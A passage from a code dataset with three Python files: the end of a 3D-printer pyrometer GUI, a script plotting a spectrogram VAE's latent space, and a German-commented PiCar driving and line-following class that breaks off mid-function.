self.pyrometer.getTempData.connect(self.plotPyroData) # plots data when it is recieved from the thread\n\n def stopPyrometer(self):\n global pyrotimeArr\n global pyrotempArr\n global IRtimeArr\n global IRtempArr\n global pyroCPUtime\n global IRCPUtime\n\n Pyrometer.updateChannelStatus(0) # Lets the child thread know the pyrometer is off\n SavetoSQL.transmitData(pyroCPUtime,pyrotimeArr,pyrotempArr,IRCPUtime,IRtimeArr,IRtempArr) # Sends data to be saved\n self.saveData = SavetoSQL.saveData() # Saves and commits data\n self.saveData.start()\n # print(\"stop\")\n\n def clearPyroData(self): # Clears pyrometer and IR camera data\n global pyroIndex\n global IRIndex\n global pyrotimeArr\n global pyrotempArr\n global IRtimeArr\n global IRtempArr\n global pyroCPUtime\n global IRCPUtime\n\n pyroIndex = 0.0\n pyrotimeArr = []\n pyrotempArr = [] \n IRIndex = SAMPLING_FREQ\n IRtimeArr = []\n IRtempArr = []\n pyroCPUtime = []\n IRCPUtime = []\n \n self.pyrometerFigure.clear()\n self.pyrometerCanvas.draw()\n\n def plotPyroData(self,temp): # Plots pyrometer data\n global pyrotimeArr\n global pyrotempArr\n global pyroIndex\n\n #print(temp)\n # print(f\"pyrotime = {pyroIndex}\")\n now = datetime.datetime.now() # gets CPU time for reliability and cross validation with IR Cam CPU time\n pyroCPUtime.append(now) # saves the CPU time into an array\n pyrotimeArr.append(pyroIndex) # saves the index into the time array\n pyrotempArr.append(temp) # saves the pyrometer reading\n\n # plot pyrometer data \n self.pyrometerFigure.clear()\n ax2 = self.pyrometerFigure.add_subplot(111)\n ax2.set_title(\"Pyrometer\")\n ax2.set_ylabel(\"Temperature (°C)\")\n ax2.set_xlabel(\"Time (s)\")\n ax2.plot(pyrotimeArr,pyrotempArr)\n self.pyrometerCanvas.draw()\n\n pyroIndex += SAMPLING_FREQ # increase index\n\n##################################################### SET SAMPLING FREQUENCY FUNCTION ###################################################\n\n def setSampleFreq(self): # Connects to other .py files to set the sampling frequencies to match\n IRCam.setSampleFreq(SAMPLING_FREQ)\n Pyrometer.setSampleFreq(SAMPLING_FREQ)\n\n#########################################################################################################################################\n\nApp= QApplication(sys.argv)\nwindow=Window()\nsys.exit(App.exec_())","repo_name":"kchick11/UBC-Metal-3D-Print-GUI","sub_path":"DLD Printer GUI 8-16-2022/DLD Printer GUI.py","file_name":"DLD Printer GUI.py","file_ext":"py","file_size_in_byte":23585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"783089183","text":"\"\"\"\nLoad the given spectrogram model, run a bunch of spectrograms through it,\nthen see what it does with them in its 2D latent space.\n\"\"\"\nfrom mpl_toolkits.mplot3d import Axes3D\nimport argparse\nimport audiosegment as asg\nimport imageio\nimport logging\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport sys\nimport tensorflow as tf\nfrom keras import preprocessing\n\nfrom experiment.thesis import phase1 as p1 # pylint: disable=locally-disabled, import-error\nimport experiment.configuration as configuration # pylint: disable=locally-disabled, import-error\nimport internals.vae.vae as vae # pylint: disable=locally-disabled, import-error\n\ndef load_spectrograms_from_directory(d, numspecs=None):\n \"\"\"\n Loads up to numspecs spectrograms from d. If numspecs is None, we load all of them.\n Looks for spectrograms non-recursively.\n\n Returns them as a numpy array of shape (numspecs, freqs, times, colorchannels). See the config file.\n \"\"\"\n assert os.path.isdir(d), \"'d' must be a valid directory, but was passed {}\".format(d)\n assert numspecs is None or numspecs >= 0, \"'numspecs' must be either None or a positive number\"\n if numspecs is not None:\n numspecs = int(round(numspecs))\n\n pathnames = [p for p in os.listdir(d) if os.path.splitext(p)[1].lower() == \".png\"]\n if not pathnames:\n # We couldn't find any files in the supplied directory. Sometimes I am stupid though,\n # so let's try whatever/useless_subdirectory as well.\n new_d = os.path.join(d, \"useless_subdirectory\")\n pathnames = [p for p in os.listdir(new_d) if os.path.splitext(p)[1].lower() == \".png\"]\n if pathnames:\n # It worked, so let's update d to be this new one that actually has stuff in it\n d = new_d\n\n if numspecs:\n pathnames = pathnames[:numspecs]\n\n if not pathnames:\n raise FileNotFoundError(\"Could not find any .png files in directory {}\".format(d))\n\n paths = [os.path.abspath(os.path.join(d, p)) for p in pathnames]\n specs = [imageio.imread(p) / 255.0 for p in paths]\n arr = np.array(specs)\n return np.expand_dims(arr, -1)\n\ndef analyze_single_segment(model: vae.VariationalAutoEncoder, targetfpath: str, visualize=False):\n \"\"\"\n Plot the location of the given segment after we encode it. Plots the average of 100 encodings\n of it as well as the average distribution from the 100 tries.\n Also plots the 100 encodings and distributions.\n\n If visualize is True, we will plot stuff.\n \"\"\"\n sample_rate_hz = 16000.0 # 16kHz sample rate\n bytewidth = 2 # 16-bit samples\n nchannels = 1 # mono\n duration_s = 0.5 # Duration of each complete spectrogram\n window_length_s = 0.03 # How long each FFT is\n overlap = 0.2 # How much each FFT overlaps with each other one\n\n # Load the audio file into an AudioSegment\n seg = asg.from_file(targetfpath)\n seg = seg.resample(sample_rate_Hz=sample_rate_hz, sample_width=bytewidth, channels=nchannels)\n\n start_s = 0\n _frequencies, _times, amplitudes = seg.spectrogram(start_s, duration_s, window_length_s=window_length_s, overlap=overlap, window=('tukey', 0.5))\n amplitudes *= 255.0 / np.max(np.abs(amplitudes))\n amplitudes = amplitudes / 255.0\n amplitudes = np.expand_dims(amplitudes, -1) # add color channel\n amplitudes = np.repeat(amplitudes[np.newaxis, :, :, :], 100, axis=0) # Repeat into batch dimension\n means, logvars, encodings = model._encoder.predict(amplitudes, batch_size=None, steps=1)\n\n stdevs = np.exp(0.5 * logvars)\n\n if visualize:\n # Plot where each encoding is\n title = \"Scatter Plot of Encodings for {}\".format(targetfpath)\n plt.scatter(encodings[:, 0], encodings[:, 1])\n plt.title(title)\n print(\"Saving\", title)\n plt.savefig(title)\n plt.clf()\n\n # Plot the distributions as circles whose means determine location and whose radii are composed\n # of the standard deviations\n plt.scatter(means[:, 0], means[:, 1], s=np.square(stdevs * 10))\n title = \"Distributions the Encodings were drawn From for {}\".format(targetfpath)\n plt.title(title)\n print(\"Saving\", title)\n plt.savefig(title)\n plt.clf()\n\n embedding = np.mean(encodings, axis=0)\n mean = np.mean(means, axis=0)\n stdev = np.mean(stdevs, axis=0)\n return embedding, mean, stdev\n\ndef _validate_args(args):\n \"\"\"\n Validates the arguments and exits if any of them do not make sense.\n \"\"\"\n if not os.path.isfile(args.model):\n print(\"{} is not a valid path to a VAE model.\".format(args.model))\n exit(1)\n if not os.path.isdir(args.specdir):\n print(\"{} is not a valid path to a directory of spectrograms.\".format(args.specdir))\n exit(2)\n if args.file:\n for fpath in args.file:\n if not os.path.isfile(fpath):\n print(\"{} is not a valid path to a sound file.\".format(fpath))\n exit(3)\n if args.dir and not os.path.isdir(args.dir):\n print(\"{} is not a valid directory of sound files.\".format(args.dir))\n exit(4)\n\ndef _build_the_vae(config, model):\n autoencoder = p1._build_vae(config)\n try:\n autoencoder.load_weights(model)\n except Exception as e:\n print(\"Something went wrong while trying to load the given model. Perhaps the weights don't match with the current architecture? {}\".format(e))\n exit(5)\n return autoencoder\n\ndef _predict_on_spectrograms(specdir: str, autoencoder: vae.VariationalAutoEncoder, batchsize: int, nworkers: int, imshapes: [int]):\n \"\"\"\n Returns the values of the spectrogram predictions for each spectrogram found in specdir.\n \"\"\"\n # Load a bunch of spectrograms into a batch\n specs = load_spectrograms_from_directory(specdir)\n nspecs = specs.shape[0]\n if nspecs == 0:\n logging.warn(\"Could not find any spectrograms in {}. Trying {}/useless_subdirectory as well.\".format(specdir, specdir))\n specs = load_spectrograms_from_directory(os.path.join(specdir, \"useless_subdirectory\"))\n nspecs = specs.shape[0]\n if nspecs == 0:\n print(\"Could not find any spectrograms in {} or {}/useless_subdirectory. Cannot predict using them.\")\n return\n try:\n aeoutput = autoencoder._encoder.predict(specs)\n except Exception:\n print(\"Probably out of memory. Trying as an image generator instead.\")\n specs = None # Hint to the GC\n\n # Remove the useless subdirectory from the path (the imagedatagen needs it, but can't be told about it... ugh)\n pathsplit = specdir.rstrip(os.sep).split(os.sep)\n root = os.path.join(*[os.sep if p == '' else p for p in pathsplit[0:-1]])\n\n # Set up based on config file\n imreader = preprocessing.image.ImageDataGenerator(rescale=1.0/255.0)\n print(\"Creating datagen...\")\n datagen = imreader.flow_from_directory(root,\n target_size=imshapes,\n color_mode='grayscale',\n classes=None,\n class_mode='input',\n batch_size=batchsize,\n shuffle=True)\n print(\"Predicting...\")\n aeoutput = autoencoder._encoder.predict_generator(datagen,\n steps=int(nspecs / batchsize),\n use_multiprocessing=False,\n workers=nworkers)\n if isinstance(autoencoder, vae.VariationalAutoEncoder):\n means, logvars, encodings = aeoutput\n else:\n means = None\n logvars = None\n encodings = aeoutput\n\n return means, logvars, encodings\n\ndef _predict_on_sound_files(fpaths: [str], dpath: str, model: vae.VariationalAutoEncoder,\n sample_rate_hz=16000.0, bytewidth=2, nchannels=1, duration_s=0.5, window_length_s=0.03, overlap=0.2):\n \"\"\"\n Run the given model on each file in fpaths and each file in dpath. These are sound files, not spectrograms,\n so they need to be converted to spectrograms first.\n\n This returns means, logvars, encodings, and a list of the segment names in the same order as the encodings\n\n If fpaths and dpaths are both None or empty, we return None, None, None, [].\n \"\"\"\n if dpath is None:\n dpath = []\n if fpaths is None:\n fpaths = []\n\n # Combine all the fpaths into a single fpath list\n if dpath:\n for root, _dnames, fnames in os.walk(dpath):\n for fname in fnames:\n fpath = os.path.join(root, fname)\n fpaths.append(fpath)\n\n # Load all the segments and resample them appropriately\n segs = []\n for fpath in fpaths:\n try:\n segs.append(asg.from_file(fpath).resample(sample_rate_hz, bytewidth, nchannels))\n except asg.pydub.audio_segment.CouldntDecodeError:\n print(\"NOTE: Couldn't decode {} as an audio file.\".format(fpath))\n continue\n\n # Convert each segment into a spectrogram\n specs = []\n for seg in segs:\n start_s = 0\n _frequencies, _times, amplitudes = seg.spectrogram(start_s, duration_s, window_length_s=window_length_s, overlap=overlap, window=('tukey', 0.5))\n amplitudes *= 255.0 / np.max(np.abs(amplitudes))\n amplitudes = amplitudes / 255.0\n amplitudes = np.expand_dims(amplitudes, -1) # add color channel\n specs.append(amplitudes)\n specs = np.array(specs)\n\n # Predict from the encoder portion of the model\n if specs.shape[0] > 0:\n modelret = model._encoder.predict(specs)\n if isinstance(model, vae.VariationalAutoEncoder):\n means, logvars, encodings = modelret\n else:\n means = None\n logvars = None\n encodings = modelret\n else:\n means, logvars, encodings = None, None, None\n return means, logvars, encodings, [seg.name for seg in segs]\n\ndef _plot_vanilla_latent_space(encodings, special_encodings, name, savedir, *, ndims=2, show=False):\n \"\"\"\n See `_plot_variational_latent_space`.\n \"\"\"\n # Plot where each embedding is\n if ndims == 1:\n plt.title(\"Scatter Plot of Embeddings\")\n plt.scatter(encodings, np.zeros_like(encodings))\n if special_encodings is not None:\n plt.scatter(special_encodings, np.zeros_like(special_encodings), c='red')\n elif ndims == 2:\n plt.title(\"Scatter Plot of Embeddings\")\n plt.scatter(encodings[:, 0], encodings[:, 1])\n if special_encodings is not None:\n plt.scatter(special_encodings[:, 0], special_encodings[:, 1], c='red')\n elif ndims == 3:\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n ax.scatter(encodings[:, 0], encodings[:, 1], encodings[:, 2])\n if special_encodings is not None:\n ax.scatter(special_encodings[:, 0], special_encodings[:, 1], special_encodings[:, 2], c='red')\n ax.set_xlabel('X')\n ax.set_ylabel('Y')\n ax.set_zlabel('Z')\n ax.set_title(\"Scatter Plot of Embeddings\")\n else:\n raise ValueError(\"`ndims` must be 1, 2, or 3, but is {}\".format(ndims))\n\n save = os.path.join(savedir, \"scatter_{}_embeddings_{}.png\".format(encodings.shape[0], name))\n print(\"Saving\", save)\n plt.savefig(save)\n\n if show:\n plt.show()\n plt.clf()\n\ndef _plot_variational_latent_space(encodings, special_encodings, name, means, stdevs, special_means, special_stdevs, savedir, *, ndims=2):\n \"\"\"\n Does the plotting that all the rest of this file's functions are centered around.\n\n :param encodings: The embeddings that we will plot in blue.\n :param special_encodings: Embeddings to plot in red.\n :param name: Name of the group of the special encodings.\n :param means: Means of the blues.\n :param stdevs: STDevs of the blues.\n :param special_means: Means of the reds.\n :param special_stdevs: STDevs of the reds.\n :param savedir: The directory to save the artifacts to.\n \"\"\"\n _plot_vanilla_latent_space(encodings, special_encodings, name, savedir, ndims=ndims)\n\n # Plot the distributions as circles whose means determine location and whose radii are composed\n # of the standard deviations\n if ndims == 1:\n plt.title(\"Distributions the Embeddings were drawn From\")\n plt.scatter(means, np.zeros_like(means), s=np.square(stdevs * 10))\n if special_means is not None:\n plt.scatter(special_means, np.zeros_like(special_means), s=np.square(special_stdevs * 10), c='red')\n elif ndims == 2:\n plt.title(\"Distributions the Embeddings were drawn From\")\n plt.scatter(means[:, 0], means[:, 1], s=np.square(stdevs * 10))\n if special_means is not None:\n plt.scatter(special_means[:, 0], special_means[:, 1], s=np.square(special_stdevs * 10), c='red')\n elif ndims == 3:\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n ax.scatter(means[:, 0], means[:, 1], means[:, 2], s=np.square(stdevs * 10))\n if special_encodings is not None:\n ax.scatter(special_means[:, 0], special_means[:, 1], special_means[:, 2], s=np.square(special_stdevs * 10), c='red')\n ax.set_xlabel('X')\n ax.set_ylabel('Y')\n ax.set_zlabel('Z')\n ax.set_title(\"Distributions the Embeddings were drawn From\")\n else:\n raise ValueError(\"`ndims` must be 1, 2, or 3, but is {}\".format(ndims))\n\n save = os.path.join(savedir, \"scatter_{}_distros_{}.png\".format(encodings.shape[0], name))\n print(\"Saving\", save)\n plt.savefig(save)\n plt.clf()\n","repo_name":"MaxStrange/ArtieInfant","sub_path":"Artie/experiment/analysis/vae/plotvae.py","file_name":"plotvae.py","file_ext":"py","file_size_in_byte":13860,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"72963252887","text":"\"\"\"Import der notwendigen Bibliotheken.\"\"\"\nimport basisklassen\nimport click\nimport os, json, time\nfrom datetime import datetime\nimport numpy as np\nfrom concurrent import futures\nfrom concurrent.futures import ThreadPoolExecutor\n\n\n\nclass BaseCar:\n \"\"\"Die Klasse BaseCar implementiert die Grund-Funktionen des PiCars.\n\n Args:\n LOG_FREQ (float): Zeit-Interval zum Speichern von Fahrdaten im Datenlogger.\n SA_MAX (int): Maximaler Lenkwinkel des PiCars\n \"\"\"\n\n LOG_FREQ = 0.1\n SA_MAX = 45\n\n def __init__(self):\n \"\"\"Initialisierung der Klasse BaseCar.\n\n Args:\n steering_angle(float): Lenkwinkel des PiCars.\n speed(float): Geschwindigkeit des PiCars.\n direction(float): Fahrtrichtung des PiCars.\n active(bool): Flag zur Erkennung des Fahr-Zustandes.\n worker(ThreadPoolExecutor): Instanz der Klasse ThreadPoolExecutor.\n dl(Datenlogger): Instanz der Klasse Datenlogger.\n tmpspeed(int): Speichert die Geschwindigkeit bei Uebergabe in Fahrparcour.\n \"\"\"\n self._steering_angle = 0\n self._speed = 0\n self._direction = 1\n data = {}\n try:\n with open(\"config.json\", \"r\") as f:\n data = json.load(f)\n except FileNotFoundError:\n with open(\"config.json\", \"w\") as f:\n data = {}\n data[\"turning_offset\"] = 0\n data[\"forward_A\"] = 0\n data[\"forward_B\"] = 0\n data[\"log_file_path\"] = \"Logger\"\n json.dump(data, f)\n print(\"Bitte config.json anpassen!\")\n\n turning_offset = data.get(\"turning_offset\")\n forward_A = data.get(\"forward_A\")\n forward_B = data.get(\"forward_B\")\n self._log_file_path = data.get(\"log_file_path\")\n if self._log_file_path == None:\n self._log_file_path = \"Logger\"\n\n self.fw = basisklassen.Front_Wheels(turning_offset=turning_offset)\n self.bw = basisklassen.Back_Wheels(forward_A=forward_A, forward_B=forward_B)\n self._active = False\n self._worker = None\n self._dl = None\n\n def startDriveMode(self):\n \"\"\"Funktion zur Initalisierung des Fahr-Modus mit Multi-Threading\"\"\"\n\n self._active = True\n self.steering_angle = 0\n self._dl = Datenlogger(log_file_path=self._log_file_path)\n self._worker = ThreadPoolExecutor(max_workers=5)\n self._worker.submit(self.dlWorker)\n\n def endDriveMode(self, waitingWorker=False):\n \"\"\"Funktion zum Beenden des Fahr-Modus mit Multi-Threading\"\"\"\n\n if waitingWorker:\n self._worker.shutdown(wait=True)\n else:\n self._worker.shutdown(wait=False)\n self._active = False\n self.steering_angle = 0\n self.stop()\n\n def dlWorker(self):\n \"\"\"Funktion zur Nutzung des Datenloggers mit Multi-Threading.\n\n Hinweis: Wird automatisch in der Funktion startDriveMode() im BaseCar genutzt.\n \"\"\"\n self._dl.start()\n while self._active:\n self._dl.append(self.drive_data)\n time.sleep(self.LOG_FREQ)\n self._dl.save()\n\n @property\n def drive_data(self):\n \"\"\"Ausgabe der Fahrdaten fuer den Datenlogger.\n\n Returns:\n [list]: speed, direction, steering_angle\n \"\"\"\n return [self.speed, self.direction, self.steering_angle]\n\n @property\n def speed(self):\n \"\"\"Returns speed.\n\n Returns:\n [int]: speed.\n \"\"\"\n return self._speed\n\n @speed.setter\n def speed(self, value):\n \"\"\"Sets speed.\n\n Args:\n [int]: speed.\n \"\"\"\n self._speed = value\n\n @property\n def direction(self):\n \"\"\"Returns direction.\n\n Returns:\n [int]: direction.\n \"\"\"\n return self._direction\n\n @direction.setter\n def direction(self, value):\n \"\"\"Sets direction.\n\n Args:\n [int]: direction.\n \"\"\"\n self._direction = value\n\n @property\n def steering_angle(self):\n \"\"\"Returns steering angle.\n\n Returns:\n [float]: steering angle.\n \"\"\"\n return self._steering_angle\n\n @steering_angle.setter\n def steering_angle(self, value):\n \"\"\"Sets steering angle.\n\n Args:\n [float]: steering angle.\n\n Hinweis:\n Hier wird auf ein anderes Winkelsystem normiert.\n 0 Grad = geradeaus,\n -45 Grad ist max links,\n +45 Grad ist max rechts\n \"\"\"\n if value > self.SA_MAX:\n self._steering_angle = self.SA_MAX\n elif value < (0 - self.SA_MAX):\n self._steering_angle = 0 - self.SA_MAX\n else:\n self._steering_angle = value\n self.fw.turn(90 + self._steering_angle)\n\n def drive(self, geschwindigkeit, richtung):\n \"\"\"Funktion zum Fahren PiCars\n\n Args:\n [int]: geschwindigkeit\n [int]: richtung\n \"\"\"\n self.speed = geschwindigkeit\n self.bw.speed = self.speed\n self.direction = richtung\n if richtung > 0:\n self.bw.forward()\n elif richtung < 0:\n self.bw.backward()\n else:\n self.stop()\n\n def stop(self):\n \"\"\"Funktion zum stoppen der Hinterraeder des PiCars\"\"\"\n\n self.bw.stop()\n\n def fp1(self, v=50):\n \"\"\"Funktion für den Fahrparcour 1\"\"\"\n\n print(\"Fahrparcour 1 gestartet.\")\n # Starte Drive Mode\n self.startDriveMode()\n\n # Vorwaerts 3sec\n self.drive(v, 1)\n time.sleep(3)\n\n # Stillstand 1sec\n self.stop()\n time.sleep(1)\n\n # Rueckwaerts 3sec\n self.drive(v, -1)\n time.sleep(3)\n\n # Ende Drive Mode\n self.endDriveMode(waitingWorker=False)\n print(\"Fahrparcour 1 beendet.\")\n\n def fp2(self, v=50):\n \"\"\"Funktion für den Fahrparcour 2\"\"\"\n\n print(\"Fahrparcour 2 gestartet.\")\n # Starte Drive Mode\n self.startDriveMode()\n\n for sa in [(-self.SA_MAX + 5), (self.SA_MAX - 5)]:\n # Vorwaerts 1sec gerade\n self.steering_angle = 0\n self.drive(v, 1)\n time.sleep(1)\n\n # Vorwaerts 8sec Max Lenkwinkel\n self.steering_angle = sa\n time.sleep(8)\n\n # Stoppen\n self.stop()\n\n # Rueckwaerts 8sec Max Lenkwinkel\n self.drive(v, -1)\n time.sleep(8)\n\n # Rueckwaerts 1sec gerade\n self.steering_angle = 0\n time.sleep(1)\n\n # Ende Drive Mode\n self.endDriveMode(waitingWorker=False)\n print(\"Fahrparcour 2 beendet.\")\n\n\nclass Sonic(BaseCar):\n \"\"\"Die Klasse Sonic fuegt die Funktion des US-Sensors zur BaseCar-Klasse hinzu.\n\n Args:\n BaseCar (_type_): Erbt von der Klasse BaseCar.\n US_FREQ (float): Abtastrade des US-Sensors in Sekunden.\n US_OFFSET (float): Offset fuer den US-Sensor bis zur Erkennung eines Hindernisses.\n \"\"\"\n\n US_FREQ = 0.05\n US_OFFSET = 20\n\n def __init__(self):\n \"\"\"Initialisierung der Klasse Sonic.\n\n Args:\n distance(int): Abstand zum aktuellen Hindernis.\n hindernis(bool): Flag zur Erkennung eines Hindernisses.\n tmpspeed(int): Speichert die Geschwindigkeit bei Uebergabe in Fahrparcour.\n \"\"\"\n super().__init__()\n self.us = basisklassen.Ultrasonic()\n self._distance = self.US_OFFSET + 1\n self._hindernis = False\n self._tmpspeed = None\n\n def startDriveMode(self):\n \"\"\"Funktion zur Initalisierung des Fahr-Modus mit Multi-Threading\"\"\"\n\n super().startDriveMode()\n self._worker.submit(self.usWorker)\n self._hindernis = False\n\n def usWorker(self):\n \"\"\"Funktion zur Abtastung des US-Sensors mit Multi-Threading.\n\n Hinweis: Wird automatisch in der Funktion startDriveMode() im SensorCar genutzt.\n \"\"\"\n while self._active:\n if self._hindernis == False and not (self.distance - self.US_OFFSET) > 0:\n self._hindernis = True\n self._cntHindernis = time.perf_counter()\n if self._hindernis == True and (self.distance - self.US_OFFSET) > 0:\n self._hindernis = False\n\n time.sleep(self.US_FREQ)\n\n def inputWorker(self):\n \"\"\"Funktion zur Interaktion mit Nutzer mit Multi-Threading.\n\n Hinweis: Muss zur Verwendung im jeweiligen Fahrparcour hinzugefuegt werden.\n self._worker.submit(self.inputWorker)\n \"\"\"\n while self._active:\n inpUser = input(\"Fahrbefehl eingeben: \")\n dictBefehle = {\n \"f\": \"self.direction = 1\",\n \"b\": \"self.direction = -1\",\n \"e\": \"self._active = False\",\n }\n try:\n if inpUser in dictBefehle:\n exec(dictBefehle[inpUser])\n elif type(int(inpUser)) and int(inpUser) >= 0 and int(inpUser) <= 100:\n self.speed = int(inpUser)\n self._tmpspeed = int(inpUser)\n else:\n raise Exception\n except Exception:\n print(\"Kein gültiger Befehl oder gültige Geschwindigkeit!\")\n continue\n\n def rangierenWorker(self):\n \"\"\"Funktion fuehrt die Rangier-Funktionalitaeten fuer Fahrparcour 4 aus.\"\"\"\n\n while self._active:\n if self._hindernis:\n\n self.drive(50, -1)\n self.steering_angle = -40\n\n cntTime = time.perf_counter()\n while (time.perf_counter() - cntTime) < 2.55:\n time.sleep(0.1)\n\n self.steering_angle = 0\n self.drive(self._tmpspeed, 1)\n\n @property\n def distance(self):\n \"\"\"Returns distance in cm.\n\n Returns:\n [int]: Distance in cm for a single measurement.\n (Konstante US_OFFSET+1 fuer < 0cm oder > 150cm)\n \"\"\"\n dist = self.us.distance()\n self._distance = dist if (dist >= 0 and dist <= 150) else (self.US_OFFSET + 1)\n return self._distance\n\n @property\n def drive_data(self):\n \"\"\"Ausgabe der Fahrdaten fuer den Datenlogger.\n\n Returns:\n [list]: speed, direction, steering_angle, distance\n \"\"\"\n return [self.speed, self.direction, self.steering_angle, self._distance]\n\n def fp3(self, v=50):\n \"\"\"Funktion für den Fahrparcour 3\"\"\"\n\n print(\"Fahrparcour 3 gestartet.\")\n # Starte Drive Mode\n self.startDriveMode()\n\n # Starte die Fahrt\n self.drive(v, 1)\n while self._active and not self._hindernis:\n time.sleep(0.1)\n\n # Ende Drive Mode\n self.endDriveMode(waitingWorker=False)\n print(\"Fahrparcour 3 beendet.\")\n\n def fp4(self, v=50):\n \"\"\"Funktion für den Fahrparcour 4\"\"\"\n\n print(\"Fahrparcour 4 gestartet.\")\n # Starte Drive Mode\n self.startDriveMode()\n self._worker.submit(self.rangierenWorker)\n # self._worker.submit(self.inputWorker)\n self._tmpspeed = v\n\n # Starte die Fahrt\n self.drive(v, 1)\n\n # Wartet auf Fertigstellung aller Threads\n self.endDriveMode(waitingWorker=True)\n\n # Ende Drive Mode\n print(\"Fahrparcour 4 beendet.\")\n\n\nclass SensorCar(Sonic):\n \"\"\"Die Klasse SensorCar fuegt die Funktion des IR-Sensors zur Sonic-Klasse hinzu.\n\n Args:\n SonicCar (_type_): Erbt von der Klasse SonicCar\n IF_FREQ (float): Abtastrate des IF-Sensors in Sekunden.\n IR_THRES_FAKTOR (float): Faktor fuer den Schwellwert zur Erkennung der schwarzen Linie.\n \"\"\"\n\n IF_FREQ = 0.04\n IR_THRES_FAKTOR = 1\n\n def __init__(self):\n \"\"\"Initialisierung der Klasse SensorCar.\n\n Args:\n ir_matrix (tupel): Matrix zur Berechnung der Keys fuer das Dictionary sa_from_ir\n sa_from_ir (dict): Lenkwinkel Lookup-Tabelle.\n ir_sensor_analog(list): Analoge Messwerte des IR-Sensors.\n tmp_sa (float): Letzte bekannte Lenkwinkel des PiCars.\n tmp_ir_result (float): Letzte IR-Result\n tmp_speed (int): Letzte gemerkte Geschwindigkeit des PiCars.\n line(bool): Flag zur Erkennung der Line.\n ir_calib(config.json): Importiert die kalibrierten Werte fuer den IR-Sensor aus der config.json.\n \"\"\"\n\n super().__init__()\n self.ir = basisklassen.Infrared()\n self._ir_matrix = (-2, -1, 0, 1, 2)\n self._sa_from_ir = {\n -2: -40,\n -1.5: -32,\n -1: -23,\n -0.5: -10,\n 0: 0,\n 0.5: 10,\n 1: 23,\n 1.5: 32,\n 2: 40,\n }\n self._ir_sensor_analog = self.ir.get_average(2)\n self._tmp_SA = 0\n self._tmp_ir_result = 0\n self._tmp_speed = 50\n self._line = True\n self._ir_calib = None\n with open(\"config.json\", \"r\") as f:\n data = json.load(f)\n ir_calib = data.get(\"ir_calib\")\n if ir_calib != None:\n self._ir_calib = ir_calib\n else:\n self._ir_calib = [1, 1, 1, 1, 1]\n\n def startDriveMode(self):\n \"\"\"Funktion zur Initalisierung des Fahr-Modus mit Multi-Threading\"\"\"\n\n super().startDriveMode()\n self._line = True\n\n @property\n def ir_sensor_analog(self):\n \"\"\"Ausgabe der Werte der IR-Sensoren unter Beruecksichtigung der Kalibrierten IR-Sensoren.\n\n Returns:\n [list]: Analogwerte der 5 IR-Sensoren\n \"\"\"\n self._ir_sensor_analog = ((self.ir.get_average(2) * np.array(self._ir_calib)).round(2).tolist())\n return self._ir_sensor_analog\n\n @property\n def drive_data(self):\n \"\"\"Ausgabe der Fahrdaten fuer den Datenlogger.\n\n Returns:\n [list]: speed, direction, steering_angle, distance, ir_sensors\n \"\"\"\n data = [\n self._speed,\n self._direction,\n self._steering_angle,\n self._distance,\n ]\n data += self._ir_sensor_analog\n\n return data\n\n def get_ir_result(self):\n \"\"\"Ausgabe des IR-Results zum Zugriff auf Uebersetzungstabelle\n\n Returns:\n [float]: IR-Result fuer Lenkwinkel Lookup Tabelle\n [int]: IR-Matrix der digitalen Summe\n [int]: IR-Sensor mit dem kleinsten Wert.\n \"\"\"\n # IR-Sensor auslesen und anhand maximalem Value normieren\n ir_data = np.array(self.ir_sensor_analog)\n ir_data_norm = ir_data / np.max(ir_data) * 100\n\n # Berechnung des Thresholds\n ir_minArg = np.argmin(ir_data_norm)\n thresVal = np.min(ir_data_norm) + (np.std(ir_data_norm) * self.IR_THRES_FAKTOR)\n\n # Berechnung des IR-Result\n ir_digital = np.where(ir_data_norm < thresVal, 1, 0)\n ir_digital_sum = np.sum(ir_digital)\n ir_result = np.sum((self._ir_matrix * ir_digital)) / ir_digital_sum\n\n return ir_result, ir_digital, ir_digital_sum, ir_minArg\n\n def set_steering_angle(self, ir_result):\n \"\"\"Funktion setzt alle Variablen zum Lenkwinkel\n \n Args:\n sa_soll (int): Lenkwinkel auf Basis der Lookup Tabelle.\n sa_mean (list): Liste der letzten beiden Lenkwinkel.\n \"\"\"\n sa_soll = self._sa_from_ir.get(ir_result)\n sa_mean = int((self._tmp_SA + sa_soll)/2)\n\n if self._tmp_ir_result > 0:\n self.steering_angle = self._tmp_SA = sa_soll if ir_result > self._tmp_ir_result else sa_mean\n elif self._tmp_ir_result < 0:\n self.steering_angle = self._tmp_SA = sa_soll if ir_result < self._tmp_ir_result else sa_mean\n else:\n self.steering_angle = self._tmp_SA = sa_soll\n\n self._tmp_ir_result = ir_result\n\n def check_line_condition(self, ir_result, ir_digital_sum, ir_digital):\n \"\"\"Funktion prueft die notwendigen Bedingungen, ob das PiCar noch der Linie folgt.\n\n Args:\n _ (bool): Wahrheitswert, ob PiCar noch der Linie folgt.\"\"\"\n\n if ir_digital_sum > 2 or np.ptp([self._tmp_ir_result, ir_result]) > 1 or (ir_digital_sum == 2 and (ir_result == 0 or abs(ir_result) == 1 or (abs(ir_result) == 0.5 and ir_digital[2] == 0))):\n return False\n else:\n return True\n\n def lenkFunction_5(self):\n \"\"\"Funktion fuehrt die Lenk-Funktionalitaeten fuer Fahrparcour 5 aus.\"\"\"\n\n while self._active:\n ir_result, ir_digital, ir_digital_sum, ir_minArg = self.get_ir_result()\n\n if not self.check_line_condition(ir_result, ir_digital_sum, ir_digital):\n self._line = False\n self._active = False\n else:\n self.set_steering_angle(ir_result)\n\n time.sleep(self.IF_FREQ)\n\n def lenkFunction_6(self):\n \"\"\"Funktion fuehrt die Lenk-Funktionalitaeten fuer Fahrparcour 6 aus.\"\"\"\n\n while self._active:\n\n while self._active and self._line:\n ir_result, ir_digital, ir_digital_sum, ir_minArg = self.get_ir_result()\n\n if not self.check_line_condition(ir_result, ir_digital_sum, ir_digital):\n self._line = False\n if abs(self._tmp_SA) < 20:\n self._active = False\n else:\n self.steering_angle = self._tmp_SA * -1\n self.drive(self._tmp_speed, -1)\n \n else:\n self.set_steering_angle(ir_result)\n\n time.sleep(self.IF_FREQ)\n \n while self._active and not self._line:\n ir_result, ir_digital, ir_digital_sum, ir_minArg = self.get_ir_result()\n\n if self.check_line_condition(ir_result, ir_digital_sum, ir_digital):\n self._line = 